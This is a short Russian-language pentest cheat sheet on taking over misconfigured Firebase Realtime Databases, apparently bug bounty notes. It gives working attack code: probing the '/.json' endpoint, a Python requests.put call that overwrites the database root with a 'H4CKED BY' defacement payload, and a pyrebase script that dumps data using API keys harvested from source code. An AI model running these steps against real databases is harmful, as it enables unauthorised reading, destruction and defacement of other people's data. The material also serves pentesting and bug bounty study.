Firebase

Если кратко

Пробуем

https://<databasename>.firebaseio.com/.json

Другой пример

import requests
data= {"Exploit":"Successfull", "H4CKED BY": "zfr"}
reponse = requests.put("https://my-proj.firebaseio.com/.json", json=data)

Если потом через Get сможем запросить — уязвимо: https://hackerone.com/reports/1065134

Firebase Database Takeover

Пример пентеста с плохо сконфигурированной базой - https://medium.com/@danangtriatmaja/firebase-database-takover-b7929bbb62e1

Пример поиска и эксплуатации ключей Firebase

1 Ищем по коду подобные константы:

Пример работы с firebase базой с помощью pip install pyrebase

import pyrebase

config = {
  "apiKey": "FIREBASE_API_KEY",
  "authDomain": "FIREBASE_AUTH_DOMAIN_ID.firebaseapp.com",
  "databaseURL": "https://FIREBASE_AUTH_DOMAIN_ID.firebaseio.com",
  "storageBucket": "FIREBASE_AUTH_DOMAIN_ID.appspot.com",
}

firebase = pyrebase.initialize_app(config)

db = firebase.database()

print(db.get())

Этот код отработает, если выставлены permissions на чтение для apiKey

В документации pyrebase можно найти другие примеры по работе с Firebase.